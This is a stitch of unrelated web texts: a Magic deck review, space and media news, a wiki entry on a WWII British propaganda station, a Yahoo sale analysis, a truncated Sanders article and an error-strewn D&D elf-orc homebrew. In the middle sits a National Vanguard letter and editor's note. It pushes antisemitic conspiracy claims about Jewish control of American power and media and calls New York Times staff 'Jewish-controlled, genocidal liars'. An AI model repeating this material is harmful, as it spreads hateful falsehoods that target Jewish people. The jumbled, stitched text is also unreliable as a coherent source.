Another obvious inclusion for this deck is Rakdos’s Return. The synergy and power level of the “reverse Sphinx’s Revelation” in a deck like this makes it a solid four-of that I’m happy to have in that slot. The greatest part about Rakdos’s Return is that it can be both an early and late play. Of course the more mana you have to sink into it the more value you get out of it, but even early paying four mana to have an opponent discard two cards and take two damage is… somehow familiar. Blightning, anyone? Yes, Rakdos’s Return is strictly worse when you pay four mana for two cards and two damage, but Rakdos’s Return does have the advantage to also be four cards and four damage. Or six cards and six damage. Or, if your opponent is low enough on life, a straight-up “Win the game” spell. Nevermind what begins to happen when you have Waste Not on the field at the same time as casting a Rakdos’s Return.
There are several cards in the deck that could be argued to “not fit”. Ordeal of Erebos, Whispering Madness, Underworld Connections, and Liliana Vess are among them. Ordeal of Erebos could be argued as being too slow for the deck, but, here’s the kicker, either your opponent kills whatever you go to put Ordeal onto – most likely a Drainpipe Vermin, which lets you make them discard anyway – or you get to pump your guy while your opponent searches for an answer. If Ordeal ever pops, not only will you likely either have a 4/4 or a 5/5, your opponent will be down two more cards, and the delay between Ordeal dropping and then being sacrificed gives you time to play more disruption and answers, to the point where you very well could have a Waste Not on the field after you’ve played Ordeal.
Another oddball for the deck is Whispering Madness. The card is a one of, just because I believe that getting any more than one in any given situation is overkill. The best and worst part of the card is that both players have to discard their hand. And then, depending on the situation, you both get to refill your hand. The card is designed to pull you out of a nosedive, when your opponent has drawn several cards and you haven’t had the disruption spells to answer them. As far as Cipher goes for Whispering Madness, I’ll say what’s been said before. Cipher is an underwhelming mechanic and only very good when you know for a fact that you’ll be able to connect. That being said, if you Cipher Whispering Madness even once, the game is very likely going to end in your favor.
Underworld Connections is strong. It’s been proven time and time again by the black devotion decks that have been running around. The card provides serious advantage and drawing an extra card every turn will make the game swing significantly in your favor. There’s a third Underworld Connections in the sideboard just in case your matchup is against a slow, grinding deck. You need to be able to keep up with cards like Sphinx’s Revelation.
Liliana Vess is definitely not the strongest planeswalker ever printed, but she fits perfectly into a deck like this. The deck is, after all, a discard deck. Being able to tutor for an answer or a specific spell just makes her that much better. Even if Liliana only gets one card for you, she will be a threat that your opponent is basically required to answer and could buy you time to get back into a position where you’re controlling the game, not your opponent.
Let’s briefly look at the sideboard, and where I expect each card to come into play. Hero’s Downfall comes in against any creature heavy strategy alongside Ashiok, Nightmare Weaver. Pack Rat and Underworld Connections come in against similar decks that you need to have an aggressive and powerful answer to that is hard to answer unless it’s answered the turn it’s played. Gray Merchant of Asphodel should need no introduction, and at its core this deck is playing enough black permanents to make him worth it. Skullcrack is an answer to Sphinx’s Revelation decks. Soul Ransom generally comes in against Monsters decks, where it forces your opponent to sacrifice some of their hand to get their biggest threat back, all while providing you with more value from Waste Not.
To say that I’m excited for this deck is a bit of an understatement. I look forward to building it once Magic 2015 is officially released.
Thanks for reading!
Nathan M.An ambitious project that aims to bring rock samples from Mars -- collected by NASA's 2020 Mars rover - to Earth to find out traces of ancient life on the Red Planet can be launched as early as 2022, Space.com reported, citing officials.
Called the "Red Dragon" project, the mission will use the Dragon cargo capsule from US aerospace manufacturer Space Exploration Technologies Corporation (SpaceX). After a long space journey, the capsule will touch down near the 2020 Mars rover.
The Red Dragon variant will have a robotic arm, extra fuel tanks and a central tube that houses a rocket-powered Mars Ascent Vehicle (MAV) and an Earth Return Vehicle (ERV).
Red Dragon's robotic arm will grab a sample from the rover's onboard cache and transfer it to a secure containment vessel aboard the ERV, which sits atop the MAV.
The MAV would then blast off, sending the ERV on its way back to Earth.
Red Dragon is "technically feasible with the use of these emerging commercial technologies, coupled with technologies that already exist," Andy Gonzales from NASA's Ames Research Center in Moffett Field, California, was quoted as saying.
"The team has developed the concept independently without any involvement or endorsement by SpaceX," Gonzales told the gathering during a presentation with the space agency's Future In-Space Operations (FISO) working group on Wednesday.
There have been some promising discoveries in the recent past, hinting towards the presence of ancient life on Mars.
NASA's current Curiosity rover has confirmed the presence of methane on Mars environment which may hint that life once existed on the Red Planet.
Since methane can be the product of biological activity -- practically all the existing methane in the Earth's atmosphere originates in this way -- this has created great expectations that Martian methane could also be of a similar origin.
"Red Dragon can go anywhere the rover can go, as far as landing elevation and terrain. We are confident we could land in front of the rover and have it drive to us," Gonzales pointed out.Rádio Yandê combines a strong sense of community with digital media to bring Brazil’s indigenous cultures and languages to the forefront.
The station, which began streaming online in 2013, is the country’s first web-based broadcast of its kind: created by indigenous people, for indigenous people, with the intention of using technology to shred the stereotypes and misconceptions about Brazil’s native communities that emerge out of mainstream media narratives.
According to news site Agência Brasil, more than 150 indigenous languages are spoken in Brazil – with Tikuna, Guarani Kaiowá, and Kaingang being the three with the largest number of speakers. It is predicted, however, that by 2030 up to 45-50 of these languages are likely to suffer from extinction.
This project in particular, takes a wide-ranging approach to capturing the daily lives and issues concerning Brazil’s indigenous society. The station plays music from indigenous artists, as well as featuring news, debates, stories, poetry and messages that come directly from the communities themselves.
Radio Yandê is involved in all platforms: you can access it on the web, keep up to date with the latest news via Facebook, or even download a mobile app that gives you full access to its content.
While its headquarters are based in Rio de Janeiro, the station’s scope is Brazilian wide. In this YouTube video, for instance, Radio Yandê interviews a healer from the Dessana tribe in the northern city of Manaus – getting his insights on the indigenous perspectives of religion, the differences between traditional medicine and modern medical practices, and the important role the younger generation plays in the protection of indigenous culture:
Because the station’s primary aim is to educate the masses about all things indigenous, content from its YouTube channel is primarily in Portuguese. Even so, some interviews are conducted in native languages before being translated by the station’s reporters. This is shown in the following video, in which a young filmmaker from the Amazonian Kayapó tribe discusses his recent efforts to produce materials that highlight and help preserve his local culture and customs:
Aside from collaborating with a network of indigenous Brazilian correspondents, Rádio Yandê also fosters relationships with indigenous-driven initiatives from abroad: including Canada’s Indian & Cowboy media network, the Latin America-focused Rádio Encuentros, and the Colombian station Informativo Dachi Bedea.Gustav Siegfried Eins (GS1) was a British black propaganda radio station during World War II operated by the Political Warfare Executive (PWE). It was the brainchild of Sefton Delmer, a former BBC German service announcer recruited by PWE in 1940,[1] and claimed to be an illegal radio station operating within Nazi Germany. The callsign was based on the German Army phonetic alphabet for the letters GS, but had no meaning.
The programmes were recorded on glass disc at the Wavendon Towers studio then taken to the short wave radio stations at Gawcott and Potsgrove.[2]
Broadcasts [ edit ]
The broadcaster was Peter Seckelmann, a refugee from Berlin, who used the name "Der Chef" and claimed to be a proud, highly patriotic Prussian officer of the old school, totally loyal to Germany. In the first Gustav Siegfried Eins broadcast, immediately after the flight of Rudolf Hess to Scotland, Der Chef ranted that "As soon as there is a crisis, Hess packs himself a white flag and flies off to throw himself and us on the mercy of that flat-footed bastard of a drunken old cigar-smoking Jew, Churchill!"[1]
Most of Der Chef's diatribes were directed against low- and middle-ranking Nazi Party officials, the so-called Partei Kommune, which he portrayed as selfish, corrupt and sexually depraved gangsters whose behaviour shamefully contrasted with 'the devotion to duty shown by our brave troops freezing to death in Russia'.[citation needed]
The first broadcast was on the evening of 23 May 1941 and the final broadcast in late October 1943.[2] The scripting ostensibly had the Gestapo storm the station and shoot Der Chef. Unfortunately, the recording engineer who played the transcription did not understand German, and played the "death" of Der Chef twice.[3]
The station was replaced by Soldatensender Calais.[citation needed]
Bibliography [ edit ]
Black Boomerang - An Autobiography, Volume Two, (Secker & Warburg, 1962), D Sefton Delmer.
, (Secker & Warburg, 1962), D Sefton Delmer. The Black Game - British Subversive Operations Against the Germans During the Second World War, (Michael Joseph, 1982), Ellic Howe. ISBN 0-7181-1718-2
The Secret History of PWE - Political Warfare Executive 1939-1945, (St Ermins Press, 2002), David Garnett. ISBN 1-903608-08-2
See also [ edit ]The National Police Shooting Championships
September 23-25, 2019
The Championships are open to public and private law enforcement members and select law enforcement members of the U.S. military. This is not an invitation-only match, it is not a Point Series, there are no lottery slots you have to try for, and no club slot you have to be selected for. Everyone is welcome to come to the National Police Shooting Championships, whether you just shoot one Championship match and come just for a day or shoot all of the Championship matches and join us for the entire event.
You don’t have to be a High Master shooter to attend or do well at the Championships. In fact, High Masters and Masters make up the smallest group of shooters who attend the Championships. Like all Police Pistol Combat Tournaments, you compete against shooters in your own skill Classification level. You can even shoot as an Unclassified Shooter if you have never fired in a NRA match.
We will also be working with our Supporting Partners to offer full-day certified Tuition-Free Armorer Courses again this year. This training is free, and registration will be available on a first-come, first-served basis. In years past, we have offered courses by Glock, SIG Sauer, Smith & Wesson, Walther, DoubleStar, and others.
As it becomes finalized, information about the NPSC Host Hotel, Daily Tournament Schedule, Registration, Practice Day Ticket purchase, and the Law Enforcement Equipment Exposition will be posted here at the NPSC Home Page.
So, turn your leave request in now, and start getting your guns and gear together for the 2019 National Police Shooting Championships.JERUSALEM (CNN) -- Pope Benedict XVI will not visit Israel's Holocaust museum when he makes his first trip to the region as pope in May, though he will visit a memorial that is part of the site, his ambassador to Israel said Tuesday.
Pope Benedict XVI, shown at the Vatican during a prayer Sunday, has spoken out forcefully against the Holocaust.
He will also become the first pontiff to visit the Dome of the Rock, one of the holiest sites in Islam, said the envoy, papal nuncio Antonio Franco.
Foreign heads of state normally visit the Holocaust museum, which is part of the Yad Vashem complex in Jerusalem. But it includes controversial wording describing the role of Pope Pius XII during World War II, which is why Pope Benedict balked, an Israeli official said.
Critics have accused Pope Pius of doing too little to prevent the mass murder of European Jews by the Nazis under Adolf Hitler. A caption in the museum says he maintained a neutral position during the years of mass extermination of Europe's Jews.
The Vatican defends him and is gradually opening its archives in an effort to show that he acted behind the scenes.
Franco gave the news of Pope Benedict's visit to Yad Vashem at a news conference in Jerusalem.
Pope John Paul II also did not visit the museum section on his historic pilgrimage to Israel in 2000, Father Federico Lombardi, a papal spokesman, said as he confirmed that Pope Benedict will not do so.
An official with Israel's Foreign Ministry said the decision was made jointly because of the sensitivity of the matter. Yigal Palmor conceded that there is an argument over the wartime pope's actions during the Holocaust and noted that the museum has a sign stating that the facts are in dispute.
He said that Pope Benedict may visit other parts of the Yad Vashem complex, which is divided into several compounds, and that the pontiff will lay a wreath at the site's Hall of Remembrance, which is part of the protocol for visiting heads of state.
The announcement that Pope Benedict will visit only part of Yad Vashem also follows international outrage over his rehabilitation of a rebel bishop who denied the Nazis systematically murdered 6 million Jews in the Holocaust.
The Vatican ordered the bishop, Richard Williamson, to recant, and said the pope was not aware of Williamson's views on the Holocaust when he lifted the excommunication of the bishop.
Pope Benedict, who was born in Germany and forced to join the Hitler Youth as a teenager, has spoken out forcefully against the Holocaust on a number of occasions, including on a visit to the site of the Auschwitz concentration camp.
Pope Benedict will make his pilgrimage to the Holy Land May 8-15 with stops in Amman, Jerusalem, Bethlehem and Nazareth, according to the itinerary released by the Vatican.
He will be celebrating Mass in Jerusalem, Bethlehem and Nazareth, the city where Christians believe Jesus preached and lived. Some 50,000 pilgrims are expected to attend that event, the bishop of Nazareth said.
In Jerusalem, a city holy to all three of the major monotheistic faiths, Pope Benedict will visit the Western Wall, Judaism's holiest prayer site, and the Church of the Holy Sepulcher, which Catholics believe is the site of the crucifixion, burial and resurrection of Jesus Christ.
The pope will also meet Israel's chief rabbis and enter the Dome of the Rock with the chief Muslim cleric in the Holy Land, the grand mufti of Jerusalem.
He will also meet Jordan's King Abdullah and Israeli President Shimon Peres, as well as Mahmoud Abbas, the president of the Palestinian Authority, Franco said.
CNN's Guy Azriel in Jerusalem and Alessandro Gentile in Rome contributed to this report.
All About Adolf Hitler • Pope Benedict XVI • The HolocaustWhen Florida lawmakers recently voted to ban all Internet cafes, they worded the bill so poorly that they effectively outlawed every computer in the state, according to a recent lawsuit.
The owner, Consuelo Zapata, is now suing the state after her legal team found that the ban was so hastily worded that it can be applied to any computer or device connected to the Internet, according to a copy of the complaint obtained by The Miami Herald.
The ban defines illegal slot machines as any "system or network of devices" that may be used in a game of chance.
And that broad wording can be applied to any number of devices, according to the Miami law firm of Kluger, Kaplan, Silverman, Katzen & Levine, who worked with constitutional law attorney and Harvard professor Alan Dershowitz.
The suit maintains that the ban was essentially passed "in a frenzy fueled by distorted judgment in the wake of a scandal that included the Lieutenant Governor’s resignation" and declares it unconstitutional.
Read the full complaint here.
Click below for other new Florida laws:One of the most important companies of the first dot-com boom, Yahoo, has reached the end of its life as an independent company. Yahoo’s board approved the sale of Yahoo’s core business to Verizon in a deal valued at $4.8 billion. The company’s shareholders and regulators must still approve the deal — the companies expect it to close in early 2017.
The deal represents a stunning decline for a company that was valued at more than $100 billion at its 2000 peak. Yahoo was never really able to adapt its technology and culture for a post-2000 internet that was focused on social media and mobile devices, and so it steadily fell behind rivals such as Google and Facebook.
After the Verizon acquisition, signature Yahoo properties like its search engine, email service, photo sharing site Flickr, and blogging platform Tumblr will presumably continue operating. But it’s hard to imagine that Yahoo will ever again play the kind of high-profile role online that it did two decades ago.
Ironically, what ultimately forced the hand of Yahoo CEO Marissa Mayer wasn’t the dismal performance of Yahoo’s online properties so much as an investment by Yahoo that worked too well. In 2005, Yahoo invested $1 billion in one of China's hottest technology startups, Alibaba. That bet paid off so spectacularly that by last year Yahoo’s Alibaba shares accounted for the large majority of the company’s value.
Shareholders worried that Yahoo management would eventually squander this windfall to prop up Yahoo’s declining internet businesses. The problem was that if Yahoo sold off the shares and gave the money to shareholders, it would trigger a massive tax bill. So instead of selling the Alibaba shares, Mayer was forced to sell the rest of the company, effectively putting herself out of a job.
It’s a humiliating end for Mayer, a Google veteran who joined Yahoo in 2012. Her turnaround effort didn’t work, and now Yahoo will be folded in with AOL, another struggling internet brand that was acquired by Verizon last year.
Yahoo had a perpetual media/tech identity crisis
The most successful companies in Silicon Valley — including Google, Facebook, and Apple — have an intensely technology-focused culture. These companies are obsessive about hiring the most talented engineers (and in Apple's case, designers) so they can build the best technology products. And this culture tends to be self-perpetuating — very skilled, highly motivated people like to work with other very skilled, highly motivated people. Once you have a critical mass of such people, it becomes easy to recruit more of them.
Yahoo never had the same kind of obsessive focus on recruiting technical talent. Paul Graham, a well-known Silicon Valley investor who sold his company to Yahoo in 1998, has written that even in the late 1990s, Yahoo was ambivalent about its status as a technology company.
"One of the weirdest things about Yahoo when I went to work there was the way they insisted on calling themselves a'media company,'" Graham wrote. Yahoo employed a lot of programmers and produced a lot of software, of course — and still does. But it never made software as core to its identity as some of its major competitors.
That's probably because at the time Yahoo was founded, in 1994, no one had ever heard of an ad-supported software company. Back then, software companies sold their products in shrink-wrapped boxes at Best Buy. Yahoo had the same business model as CNN and the New York Times — build up a large audience and then make money by selling ads — so it was natural for Yahoo to think of itself as being in the same industry. But one consequence of this was that Yahoo didn't focus as much as it could have on recruiting the best programmers.
Marissa Mayer's roots are as an engineer at Google, and she made an effort to beef up Yahoo's technical talent. She instituted a more rigorous hiring process, and the company worked hard to hire more computer scientists, especially from top universities.
But there's little sign that these moves have changed the culture or improved morale among Yahoo's programmers. "I just try to ship products that I’m not ashamed of," a Yahoo executive told the New York Times in December. This is not an attitude that tends to produce excellent products.
At the same time, Mayer doubled down on the "media company" side of Yahoo's personality. In 2013, she hired television news anchor Katie Couric for Yahoo's news site. Couric's contract was renewed last year in a deal reportedly worth $10 million. Mayer also recruited gadget reviewer David Pogue from the New York Times to anchor Yahoo's relaunched technology news section.
But despite these investments, Yahoo didn’t have nearly the prestige of a New York Times or a CBS. The company was seen as something of an also-ran both in Silicon Valley and in the media world. Yahoo created technology products that people use and media properties that have an audience, but its attempt to be a technology company and a media company simultaneously resulted in an organization that was less than the sum of its parts.
Yahoo's core business seemed to be worth less than nothing
In the past few years, Yahoo's media and tech businesses were overshadowed by a third line of business: venture capital. At the same time that Yahoo's core business was in decline, its Alibaba investment was soaring in value. Indeed, earlier this year if you subtracted the value of Yahoo's major assets from the total market value of the company itself, you got a large negative number.
The uncharitable way to interpret this is that the core Yahoo business was actually destroying value. It's possible Mayer could have increased her stock price by simply announcing that she was shutting down all of Yahoo's websites and laying off all of its employees.
But there's another major factor in Yahoo's depressed share price: taxes. On paper, Yahoo's Alibaba share was worth around $25 billion. However, if Yahoo ever tried to sell its stake and pay out the proceeds to shareholders, it would have owed billions of dollars in taxes to the IRS.
After adjusting for these tax liabilities, it's possible to get a positive number for the value of Yahoo's core business. But it's still a small number. When Bloomberg’s Matt Levine crunched the numbers in December, he concluded that Yahoo's core businesses were worth just $1.7 billion, about 5 percent of Yahoo's overall market value at the time.
So Yahoo's search engine, email service, news site, and other properties might not literally be worth less than nothing. But the stock market didn’t seem very optimistic about the chances.
Yahoo came under intense pressure to sell itself off
The big fear of Yahoo's Wall Street critics wasn’t just that Yahoo management would fail to turn a profit; it was that they'd burn up billions of dollars in a futile effort to turn Yahoo around. Yahoo had enough cash in the bank to continue its current losses for a few more years, and after that it could have sold its Alibaba and Yahoo Japan stakes to buy itself more years of money-losing operation.
But while Yahoo's management and employees obviously like to have a big cash cushion, shareholders weren’t interested in endlessly subsidizing a money-losing business. And so last year, Wall Street started to ratchet up the pressure on Mayer to separate Yahoo's core internet business from its stakes in Alibaba and Yahoo Japan.
To mollify Wall Street, Mayer announced a plan last year to spin off Yahoo's Alibaba shares into a new holding company. Under tax law, a company can spin off part of its business tax-free if it's doing so for a legitimate business purpose, but it can't do so merely as a tax dodge. In the past, the IRS hasn't enforced this rule very strictly, but when Yahoo asked the IRS to bless its spinoff proposal, the IRS demurred. That meant Yahoo could face a multibillion-dollar tax bill. So in December, Yahoo announced that it was canceling the spinoff.
In a January letter, the hedge fund Starboard Value was scathing about Mayer's performance. "The management team that was hired to turn around the Core Business has failed to produce acceptable results," the firm wrote.
So Starboard urged Yahoo's board to sell Yahoo's core business to another company. That would provide Yahoo shareholders with several billion dollars in cash while avoiding tax liability for the Alibaba shares.
Starboard wasn't just making a suggestion. Starboard is an activist investment firm that buys a significant stake in company shares and then uses it as leverage to force management to make changes. In 2014, for example, Starboard successfully ousted the management of the Olive Garden after writing an epic 300-page slide deck criticizing the company's management.
Starboard threatened to take that same approach at Yahoo. "If the Board is unwilling to accept the need for significant change," the company wrote on January 6, "then an election contest may very well be needed so that shareholders can replace a majority of the Board with directors who will represent their best interests."
The threats worked. Mayer began shopping Yahoo around to potential buyers, and Verizon emerged as the leading contender.
Verizon buying Yahoo will look a lot like Verizon buying AOL
One reason Verizon was a strong candidate to acquire Yahoo is that the company has done this before. Verizon bought another struggling internet company, AOL, last year. And AOL has a lot in common with Yahoo. So the lessons Verizon learned from its AOL acquisition could prove valuable as Verizon digests Yahoo.
Both AOL and Yahoo are well-known internet brands whose best days are a decade or more in the past. Like AOL, Yahoo makes a lot of its money by creating internet content and selling ads against it.
When Verizon purchased AOL, it emphasized the company's portfolio of media brands, including TechCrunch and the Huffington Post. But as Matt Yglesias wrote for Vox last year, Verizon may have also been interested in AOL's ad technology business — and in particular how Verizon could use data gathered from its vast broadband and mobile networks to help AOL content companies target ads more effectively.
Either way, if Verizon was happy with its AOL acquisition, buying Yahoo, a company with a similar portfolio of technology, media, and advertising products, seems like a logical next step.
In recent years, scale has become increasingly important in the online advertising business. Advertisers prefer to make a few big ad deals rather than many small ones, and larger media companies are often able to command premium prices. With Yahoo and AOL under one roof, Verizon will be able to integrate their ad sales teams and offer advertisers packages that include media brands from both companies.
According to Yahoo's release about the deal, "Yahoo will be integrated with AOL under Marni Walden, EVP and President of the Product Innovation and New Businesses organization at Verizon" — suggesting that Mayer may end up out of a job, with the combined AOL/Yahoo unit reporting to Tim Armstrong, who was AOL's CEO prior to the Verizon sale and was asked to stay on afterward.by Giuseppe Furioso
TO THE Editor: In today’s Times (Feb. 28, 2016) we are shown the faces of some 503 individuals, who according to reporters Haeyoun Park, Josh Keller, and Josh Williams are, “the most powerful people in American culture, government, education, and business.”
Only 43 of these movers and shakers are classified as “minority” and the rest are called White — which explains the title of the article, “The Faces of American Power, Nearly as White as the Oscar Nominees.”
To the authors this lack of proportional representation by minorities is a blatant example of “inequality.” But if there are too few minorities to satisfy the demands of proportionality then there must be too many of those who are not minority.
To simply lump all Whites together is disingenuous since the authors must know that some supposed “Whites” are more overly represented than others.
For example, are there too many Polish Americans on the list or Italian Americans or German and Irish Americans? I don’t think so. But what about Jews, who — although they are less than 3% of the nation’s population — constitute 18% of the Senate, 40% of the Supreme Court, more than 50% of the nation’s billionaires, the majority of the owners of all professional sports teams, the overwhelming majority of media executives as well as the owners of most of the nation’s newspapers and publishing houses? Why don’t the authors highlight their faces so that Americans can see who really wields disproportionate power in America?
Sincerely,
Giuseppe Furioso
EDITOR’S NOTE: Another interesting aspect of the New York Times propaganda piece is that it not only fails to list the most hostile minority to White interests — Jews — as a minority, but it also consistently lists persons of completely White ancestry as “minority” if they happen to have a Spanish surname. What nonsense!
In the illustration at the top of this article, the original of which was taken directly from the Times piece, they show us twenty Hollywood executives and then tell us:
“We selected studio executives who decide which movie ideas come to fruition. All are white, with the exception of Kevin Tsujihara, the chief executive of Warner Bros. Entertainment. Minorities are also underrepresented among directors, writers and actors.”
In reality, of the 19 “Whites” shown, 15 are Jews. (Kevin Feige may or may not be Jewish, but his mentor at Marvel Studios was Avi Arad, a Jew, and the parent company of Marvel is thoroughly-Jewish Disney.)
Those who run the New York Times are conscious, Jewish-controlled, genocidal liars.
* * *
Source: Author and National Vanguard correspondents
Appendix
Selections from the New York Times article:
The Faces of American Power, Nearly
as White as the Oscar Nominees
By HAEYOUN PARK, JOSH KELLER and JOSH WILLIAMS FEB. 26, 2016
We reviewed 503 of the most powerful people in American culture, government, education and business, and found that just 44 are minorities. Any list of the powerful is subjective, but the people here have an outsize influence on the nation’s rules and culture.
After some years of progress, the diversity of the corporate elite has stalled in recent years, said Richard Zweigenhaft, a professor at Guilford College who studies executive diversity. “Once that barrier is broken, there may be a little less pressure to keep appointing people from that previous excluded category,” he said….
Just two minorities have ever been presidents of Ivy League institutions. In 2001, Brown University appointed the first African-American leader, Ruth Simmons. Eight years later, Dartmouth appointed the first Asian-American leader, Jim Yong Kim. Both officials have since left those posts….
In the history of the Senate, there have been just 12 Republican and 14 Democratic senators who were not white. Six of them are now in office. Two of the three Hispanic senators – Marco Rubio of Florida and Ted Cruz of Texas – are running for president.Bernie Sanders on Wednesday delivered a speech from Burlington, Vermont to his die-hard fans nationwide, calling on them to continue to support progressive politicians to achieve goals like campaign finance reform, universal healthcare and fixing an unfair criminal justice system.
Absent from his address was any mention of Israel/Palestine or American foreign policy in the Middle East. His own progressive stances on these issues drew many supporters during the Democratic primary, especially ones who felt his rival Hillary Clinton was too hawkish and beholden to Israel. But in the wake of Clinton’s nomination in Philadelphia last month, Sanders has been reabsorbed back into the Democratic party, but appears to have left behind his primary season positions on foreign policy. The speech came as a disappointment to some of Sanders most ardent fans: Arab and Muslim Americans.
“I think it shows a lack of courage,” said Robert Akleh, co-founder of Arabs for Bernie, a Brooklyn-based grassroots group. Akleh, a Palestinian Christian whose family comes from Haifa, said that the foreign policy and domestic policy are also interlinked, given the astronomical cost of U.S. wars in Iraq and elsewhere.
“The problems in the Middle East are getting worse and worse and the amount of blood and money spent are big issues that both sides, corporate dems and progressives, would rather not talk about. We spent over 1 trillion on Iraq. That would have been enough to give everybody health care and all the other stuff this group is fighting for,” he said, referring to the new Sanders-backed non-profit, Our Revolution.
Our Revolution got off to a rocky start, with the abrupt resignation of staffers who felt that it had lost the grassroots credentials Sanders brought to the primary campaign. They felt Sanders’ former campaign manager, Jeff Weaver, now head of Our Revolution, would let untransparent sources of cash flow to the new effort.
It’s also not clear how much Our Revolution’s goals differ from Clinton’s since Sanders made its priorities sound like the defeat of Donald Trump first and foremost. That |
language with hard consonants. It has no script of its own, but a bit of it is written in the Dwarvish script. is harsh, grating language with hard consonants. It has no script of its own, but a bit of it is written in the Dwarvish script.
Heritage Traits Elf Orc can be born into many society’s and difference ways of life. Thought out their life the learn difference traits and skill from their upbringing and environment. Choose one of this Heritage traits. Eleven Heritage Choose one of this Heritage traits. These Elf Orcs due to their upbringing or heritage, has become more Elven than Orcish High Elf Think of themselves as highly superior to non-elves and even other elves. The high elf, has a keen mind and a master of magic. The see themselves as the most refined of the races. High elves, also known as eladrin, are graceful warriors and wizards that originated from the realm of the Feywild. In addition to living in the Feywild, they are at home in Arvandor and Gates of the Moon as well as the forests of the world. They are magical in nature and share an interest in the arcane arts. From an early age they also learn to defend themselves, particularly with swords. They train from a young ages with bows and swords. Ability Score Increase. Your Intelligence score increases by 1. Elf weapon Training. You have proficiency with the Longsword, Short sword, Short bow, and longbow. Cantrip. You know one Cantrip of your choice from The wizard spelllist. Inlelligence is your spellcasling abilily for it. Fey Ancestry. Vou have advantage on saving throws against being charmed, and magic can't put you to sleep. Wood Elf Has a keen senses and intuition and fleeting feet to carry you quickly and stealthily through out the forest. Wood elf are reclusive and distrusting of non-elves. They know how to track their prey, and survive in the wild forest. The have a bond with forest and a big respect for the sprites and animals that lives among the trees in the forest. Ability Score Increase. Your Wisdom sore increases by 1 Elf weapon Training. You have proficiency with the Longsword, Short sword, Short bow, and longbow Mask of the wild. You can attempt to hide even when you are only lightly obscured by foliage, heavy rain, falling snow, mist, and other natural phenomena Fey Ancestry. Vou have advantage on saving throws against being charmed, and magic can't put you to sleep. Drow (Dark Elf) Cruel and cunning, drow are a dark reflection of the elven race. Also called dark elves, they dwell deep underground in elaborate cities shaped from the rock of cyclopean caverns. Drow seldom make themselves known to surface folk, preferring to remain legends while advancing their sinister agendas through proxies and agents. Drow have no love for anyone but themselves, and are adept at manipulating other creatures. While they are not born evil, malignancy is deep-rooted in their culture and society, and nonconformists rarely survive for long. Some stories tell that given the right circumstances, a particularly hateful elf might turn into a drow, though such a transformation would require a truly heinous individual. Ability Score Increase. Your Charisma score increases by 1 Drow Magic. you know the dancing lights canlrip. When you reach 3rd level you can cast the faerie Fire spell once per day. When you reach 5th level, you can also cast the darkness spell once per day. Charisma is your spellcasling abilily for these spells. Superior Darkvision. Your darkvision has a radius of 120 ft. Sunlight Sensitivity. You have disadvantage on attack rolls and on wisdom (perception) checks that rely on sight when you target of your attack, or whatever you are trying to perceive is in direct sunlight. Drow Weapon Training. You have proficiency with rapiers, Short swords, and hand crossbows Mountain Elf Unruly, unkempt, and entirely wild at heart, mountain elves (often derisively called “feral elves” by their more refined kin) are at home amongst stony crags and cracked badlands where life is hard and very little grows. True survivalists, mountain elves know how to find the necessities of life when they are almost impossible to be found, and enjoy thriving in lands that would kill their less hearty brethren. Ability Score Increase. Your Strength score increases by 1 Mountain Weapon Training. You have proficiency with the short sword, longsword, hand axe, great axe, battleaxes, spear and glaive. Natural Climber. You have proficiency in the Athletics skill and a climb speed equal to your normal movement speed minus 10 ft. (3m) Brave. You have advantage on saving throws against being frightened. Sea Elf Elusive and mysterious – even more so than most elves – the sea elves lurk in the depths and shallows of the world’s waterways. Aquatic elves are often named for the specific bodies of water in which they dwell, such as lake elves, river elves, shoal elves. While culturally (and somewhat physically) distinct, thay are all varieties of sea elves. Ability Score Increase. Your Charisma score increases by 1 Aquatic Weapon Training. You have proficiency with the trident, Short sword, spear, net and dart Undersea Adaptation. You have a swim speed equal to your normal movement speed plus 10 ft. (3m). You can speak, see, hear, and manipulate objects underwater just as easily as you would on land though attack penalties to weapons still apply), and you can breathe both air and water.
Sea tongue. You can speak, read, and write the Aquan language which is a dialect of Primordial. You can understand Primordial and its other elemental dialects of Terran, Auran, and Ignanm, as well as effectively converse with creatures that speak any of these languages. Jungle Elf As a Jungle Elf, you have spent your life in a tricky jungle dealing with all the threats nature could throw at you, you have spent your life claming vast trees, fighthing off deadly diseases and hunting with whatever tools you could find. Ability Score Increase. Your constitution score increases by 1. Natural Climber. Whenever you make a strength (athletics) check related to climbing you considered proficient in the athletics skill and add double your proficiency bonus to the check, instead of your normal proficiency bonus. Jungles Weapon Training. You have proficiency with the javelin, Hand axe, blowgun and spear. Poison Resistance. You have advantage on saving throws against poison and you have resistance against poison damage. Frost Elf As a Frost Elf, you hail from the plane of frostfell, a world where temperatures are significantly lower than the material plane, and you have a natural affinity with the cold, granting you mastery of ice magic. Your natural body temperature lower than other elves, which makes you highly resistant to cold temperatures and destroys diseases and poisons that have adapted for higher temperatures, unfortunately this lower temperature makes you significantly more vulnerable to heat. Ability Score Increase. Your Wisdom Score increases by 1 Innate Magic. you know the ray og frost canlrip. When you reach 3rd level you can cast the Ice Knife spell once per day. When you reach 5th level, you can also cast the warding wind once per day. Charisma is your spellcasling abilily for these spells. dont know if this will be better and what have to be removed Fey Ancestry. Vou have advantage on saving throws against being charmed, and magic can't put you to sleep. Damage resistance. You have resistance against cold and poison damage. Damage vulnerability. You are vulnerable to Fire damage. Desert Elf Live in harsh desert lands where only the resilient and cautious survive. Their philosophy of “take only what you need” is ingrained in their sparse lifestyle. You will often see these nomads using polearms as tentpoles in temporary shelters. They liv the lift from waterhole to waterhole, trading with people they pass on their way, they know how to find food in places where it seems to be non. Ability Score Increase. Your constitution ability score increases by 1. Guardian Nomad. You have proficiency with the Pike, Scinitar, Spear, and Short bow. Resourceful Survivor. You have proficiency in the Survival skill Desert Born. You’re naturally adapted to hot climates, as described in chapter 5 of the Dungeon Master’s Guide. Orcish Heritage These Elf Orcs due to their upbringing or heritage, has become more Orcish than Elven. Many say that the best thing to happen to the orcs was the apocalypse. When the gods took the most violent and unruly of the race to the other planes to serve in their undead armies, they left behind only those that sought to preserve their society rather than take it from other though force. Although the orcs are still comparatively aggressive and violent race, their tribal units and single-mined motivations have made them well-suited to surviving the wastelands. Common Orc (Green/Brown Orc) Traditional Common Orc culture is extremely warlike and when not at war the race is usually planning for it. Most Orcs approach life with the belief that to survive, one must subjugate potential enemies and control as much resources as possible, which puts them naturally at odds with other races as well as themselves In the tribs the Common orc are taught that all races are inferior to the Orcs. Ability Score Increase. Your Strength skill increased by 1. Bust of Aggression. As prat of your attack action, you can use this trait to move up to your speed towards a hostile creature that you can see. You can use this ability several times equal to your proficuency bonus. You regain expended uses when you complete a short or long rest. Relentless Endurance. When you are reduced to 0 hit points but not killed outright, you can drop to 1 hit 